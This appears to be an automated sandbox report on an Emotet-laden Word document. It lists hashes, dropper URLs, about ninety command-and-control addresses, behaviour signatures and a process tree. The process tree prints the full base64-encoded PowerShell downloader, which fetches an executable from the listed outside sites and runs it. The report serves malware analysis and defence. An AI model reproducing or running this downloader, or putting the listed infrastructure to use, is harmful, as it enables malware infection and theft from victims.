emotet | 7e1aa0e9d97274ba63cbfedc8a3138d9b84396440f5313d513aca4c424a12f96

General

Target
emotet_e1_7e1aa0e9d97274ba63cbfedc8a3138d9b84396440f5313d513aca4c424a12f96_2020-09-18__072205._doc.doc
Size 220KB
Sample200918-dph6hwdds2
SHA256 7e1aa0e9d97274ba63cbfedc8a3138d9b84396440f5313d513aca4c424a12f96
MD5 799022126a2601a2c253df8761843840
SHA1 614feb14d9a7e6313fef45ce7db5be97b02eff62
SHA512 a5c15935f3ebc2eae23dbd0810dd15cf58d3d0b9383427c92cd29972515688fa3f70a8f427d8dec3198a3099ab25046b6dd3f91c8c2d7697772e39c355acb2fb
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://hottco.com/stats/erd/
exe.dropper
http://dutarini.com/cgi-bin/6/
exe.dropper
https://brownshotelgroup.com/www.brownshotelgroup.com.pt/i9/
exe.dropper
http://pastaciyiz.biz/wp-includes/fvx/
exe.dropper
https://dogaltrm.com/components/r6h/
exe.dropper
https://dortislem.net/administrator/c/
exe.dropper
https://onyourleftracing.com/cgi-bin/QcC/

Extracted

Family

emotet

C2

91.105.94.200:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
189.2.177.210:443
181.30.61.163:443
185.178.10.77:80
199.203.62.165:80
177.73.0.98:443
87.106.46.107:8080
5.196.35.138:7080
5.189.178.202:8080
185.183.16.47:80
78.249.119.122:80
191.182.6.118:80
96.227.52.8:443
186.103.141.250:443
50.28.51.143:8080
111.67.12.221:8080
50.121.220.50:80
61.197.92.216:80
212.71.237.140:8080
82.76.111.249:443
110.142.219.51:80
92.24.50.153:80
190.24.243.186:80
51.255.165.160:8080
190.2.31.172:80
82.230.1.24:80
68.183.170.114:8080
192.241.146.84:8080
188.135.15.49:80
186.70.127.199:8090
72.47.248.48:7080
216.47.196.104:80
35.143.99.174:80
213.197.182.158:8080
220.109.145.69:80
172.104.169.32:8080
77.90.136.129:8080
170.81.48.2:80
185.94.252.27:443
138.97.60.141:7080
64.201.88.132:80
137.74.106.111:7080
51.159.23.217:443
178.250.54.208:8080
185.94.252.12:80
45.16.226.117:443
80.11.164.185:80
187.162.248.237:80
204.225.249.100:7080
96.245.123.149:80
70.32.115.157:8080
190.6.193.152:8080
185.215.227.107:443
177.74.228.34:80
190.115.18.139:8080
217.13.106.14:8080
12.162.84.2:8080
190.190.148.27:8080
104.131.41.185:8080
155.186.0.121:80
104.131.103.37:8080
114.158.45.53:80
152.169.22.67:80
67.247.242.247:80
98.13.75.196:80
74.136.144.133:80
74.58.215.226:80
190.163.31.26:80
192.241.143.52:8080
209.236.123.42:8080
174.113.69.136:80
68.69.155.181:80
77.238.212.227:80
77.106.157.34:8080
65.36.62.20:80
181.129.96.162:8080
217.199.160.224:7080
45.33.77.42:8080
94.176.234.118:443
111.67.77.202:8080
83.169.21.32:7080
45.46.37.97:80
60.93.23.51:80
68.183.190.199:8080
70.32.84.74:8080
95.9.180.128:80
219.92.13.25:80
61.92.159.208:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2332	3944	powershell.exe	72

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2136-17-0x0000000000500000-0x0000000000512000-memory.dmp	emotet
behavioral2/memory/2136-17-0x0000000000500000-0x0000000000512000-memory.dmp	emotet
behavioral2/memory/2136-18-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2136-18-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/3568-21-0x00000000004A0000-0x00000000004B2000-memory.dmp	emotet
behavioral2/memory/3568-21-0x00000000004A0000-0x00000000004B2000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
25	2332	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2136	U18miazq.exe
3568	deviceassociation.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\rdvvmtransport\deviceassociation.exe	U18miazq.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2448	WINWORD.EXE
2448	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2332	powershell.exe
2332	powershell.exe
2332	powershell.exe
3568	deviceassociation.exe
3568	deviceassociation.exe
3568	deviceassociation.exe
3568	deviceassociation.exe
3568	deviceassociation.exe
3568	deviceassociation.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2332	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE
2448	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2332 wrote to memory of 2136	2332	powershell.exe	79
PID 2332 wrote to memory of 2136	2332	powershell.exe	79
PID 2332 wrote to memory of 2136	2332	powershell.exe	79
PID 2136 wrote to memory of 3568	2136	U18miazq.exe	81
PID 2136 wrote to memory of 3568	2136	U18miazq.exe	81
PID 2136 wrote to memory of 3568	2136	U18miazq.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_7e1aa0e9d97274ba63cbfedc8a3138d9b84396440f5313d513aca4c424a12f96_2020-09-18__072205._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABHAHQAagB0ADYAZwBfAD0AKAAnAFMAcQAnACsAKAAnAHUAegAnACsAJwB6AG4AagAnACkAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAcgBwAHIAbwBmAEkAbABlAFwAZQBsAGIAUQA4AEsASABcAEwAcQBNAGYAZQBqADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAYABVAHIAYABJAFQAWQBwAHIAbwBUAE8AYABjAG8AbAAiACAAPQAgACgAKAAnAHQAbABzACcAKwAnADEAMgAnACkAKwAnACwAJwArACcAIAAnACsAJwB0ACcAKwAoACcAbABzADEAMQAnACsAJwAsACAAJwArACcAdABsACcAKQArACcAcwAnACkAOwAkAFoAYgB0AG8AaABkADcAIAA9ACAAKAAnAFUAJwArACgAJwAxACcAKwAnADgAbQBpAGEAegBxACcAKQApADsAJABDAG0AMwBkAG0AbAAyAD0AKAAnAFIAZQAnACsAKAAnAHkANQAnACsAJwBtADgAJwApACsAJwBhACcAKQA7ACQAVABtAGkANABoAHAAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAGcARwAnACsAJwB4ACcAKQArACcARQAnACsAJwBsACcAKwAoACcAYgBxADgAJwArACcAawAnACkAKwAoACcAaAAnACsAJwBnAEcAeAAnACkAKwAoACcATABxACcAKwAnAG0AZgBlAGoAJwApACsAKAAnADQAZwAnACsAJwBHAHgAJwApACkAIAAtAHIAZQBQAGwAYQBjAEUAIAAgACgAWwBjAGgAQQBSAF0AMQAwADMAKwBbAGMAaABBAFIAXQA3ADEAKwBbAGMAaABBAFIAXQAxADIAMAApACwAWwBjAGgAQQBSAF0AOQAyACkAKwAkAFoAYgB0AG8AaABkADcAKwAoACgAJwAuACcAKwAnAGUAeAAnACkAKwAnAGUAJwApADsAJABBADEAcQAxAHMAcABkAD0AKAAoACcAUgBuACcAKwAnAHAAbQAnACkAKwAnAHEAdwAnACsAJwBqACcAKQA7ACQARAAxAGUAYQA2AGMAMAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBlAFQALgBXAEUAQgBDAEwAaQBFAG4AVAA7ACQATABpADcAdQAxAGkAMwA9ACgAKAAnAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AaABvACcAKQArACgAJwB0ACcAKwAnAHQAYwBvACcAKwAnAC4AYwBvAG0ALwAnACkAKwAoACcAcwB0AGEAJwArACcAdABzACcAKQArACgAJwAvAGUAJwArACcAcgBkAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAZAAnACsAJwB1AHQAJwArACcAYQByAGkAbgBpAC4AJwArACcAYwBvAG0ALwBjACcAKQArACcAZwBpACcAKwAoACcALQBiACcAKwAnAGkAbgAnACsAJwAvADYALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAcwA6AC8AJwApACsAKAAnAC8AYgAnACsAJwByAG8AdwBuAHMAJwArACcAaABvAHQAJwApACsAKAAnAGUAJwArACcAbABnAHIAJwApACsAKAAnAG8AdQBwAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAdwB3ACcAKwAnAHcALgBiAHIAJwApACsAKAAnAG8AdwBuACcAKwAnAHMAaAAnACkAKwAoACcAbwB0AGUAJwArACcAbABnAHIAJwApACsAJwBvAHUAJwArACgAJwBwAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAJwAuAHAAJwArACgAJwB0ACcAKwAnAC8AaQAnACkAKwAoACcAOQAvACoAaAAnACsAJwB0AHQAcAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvACcAKwAnAHAAJwArACgAJwBhAHMAdAAnACsAJwBhAGMAJwApACsAKAAnAGkAeQBpAHoALgAnACsAJwBiACcAKQArACgAJwBpAHoALwB3AHAAJwArACcALQBpAG4AJwArACcAYwAnACsAJwBsAHUAZABlAHMALwAnACkAKwAoACcAZgB2AHgALwAqAGgAJwArACcAdAB0ACcAKQArACcAcAAnACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAKAAnAGQAbwAnACsAJwBnACcAKQArACgAJwBhACcAKwAnAGwAdAAnACkAKwAoACcAcgAnACsAJwBtAC4AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAC8AYwAnACkAKwAnAG8AJwArACgAJwBtAHAAJwArACcAbwBuACcAKwAnAGUAbgAnACkAKwAoACcAdABzAC8AJwArACcAcgAnACkAKwAoACcANgBoACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACcAcwAnACsAKAAnADoALwAvAGQAJwArACcAbwAnACkAKwAoACcAcgB0AGkAJwArACcAcwAnACkAKwAoACcAbAAnACsAJwBlAG0AJwApACsAKAAnAC4AJwArACcAbgBlAHQALwBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAGkAcwB0AHIAYQB0ACcAKwAnAG8AcgAvACcAKwAnAGMALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAcwAnACsAKAAnADoALwAvAG8AJwArACcAbgAnACsAJwB5AG8AJwApACsAKAAnAHUAcgBsAGUAJwArACcAZgAnACkAKwAnAHQAJwArACgAJwByAGEAYwAnACsAJwBpACcAKwAnAG4AZwAuAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAGMAZwBpAC0AYgBpAG4AJwArACcALwBRACcAKwAnAGMAJwArACcAQwAnACkAKwAnAC8AJwApAC4AIgBzAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFYAbwAyADUAaQA4AG8APQAoACgAJwBWAHEAJwArACcAYQBpAHYAJwApACsAJwA1AHEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVAB5AHEAZAB4AGsAcQAgAGkAbgAgACQATABpADcAdQAxAGkAMwApAHsAdAByAHkAewAkAEQAMQBlAGEANgBjADAALgAiAEQATwBXAGAATgBsAE8AQQBkAEYAYABJAEwAZQAiACgAJABUAHkAcQBkAHgAawBxACwAIAAkAFQAbQBpADQAaABwAHMAKQA7ACQAWABhAGgAawBqADEAeAA9ACgAKAAnAEcAdQAnACsAJwBwADAANwAnACkAKwAnAG8AJwArACcANAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAVABtAGkANABoAHAAcwApAC4AIgBsAGAARQBOAEcAVABoACIAIAAtAGcAZQAgADIAMQA1ADkANgApACAAewAuACgAJwBJAG4AdgAnACsAJwBvAGsAJwArACcAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABUAG0AaQA0AGgAcABzACkAOwAkAFcAYQAwAGYAaABlAGQAPQAoACcASQA4ACcAKwAoACcAYwBwADYAeAAnACsAJwA2ACcAKQApADsAYgByAGUAYQBrADsAJABQAHEAcQBvAF8AdgBlAD0AKAAnAEIAJwArACgAJwB2ACcAKwAnAHkAcwBxACcAKQArACcAagBxACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBuADEANQByAHgAMQA9ACgAKAAnAEMAOQAnACsAJwA5ACcAKwAnADQAdQBrACcAKQArACcAbwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2332
- C:\Users\Admin\Elbq8kh\Lqmfej4\U18miazq.exe
  "C:\Users\Admin\Elbq8kh\Lqmfej4\U18miazq.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\SysWOW64\rdvvmtransport\deviceassociation.exe
    "C:\Windows\SysWOW64\rdvvmtransport\deviceassociation.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3568

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2136-18-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

memory/2136-17-0x0000000000500000-0x0000000000512000-memory.dmp

Download

memory/2332-13-0x000002CFC0830000-0x000002CFC0831000-memory.dmp

Download

memory/2332-12-0x000002CFC0540000-0x000002CFC0541000-memory.dmp

Download

memory/2332-11-0x00007FF8FA560000-0x00007FF8FAF4C000-memory.dmp

Download

memory/2448-0-0x00007FF901DC0000-0x00007FF902486000-memory.dmp

Download

memory/2448-6-0x0000015AD7823000-0x0000015AD7890000-memory.dmp

Download

memory/3568-21-0x00000000004A0000-0x00000000004B2000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads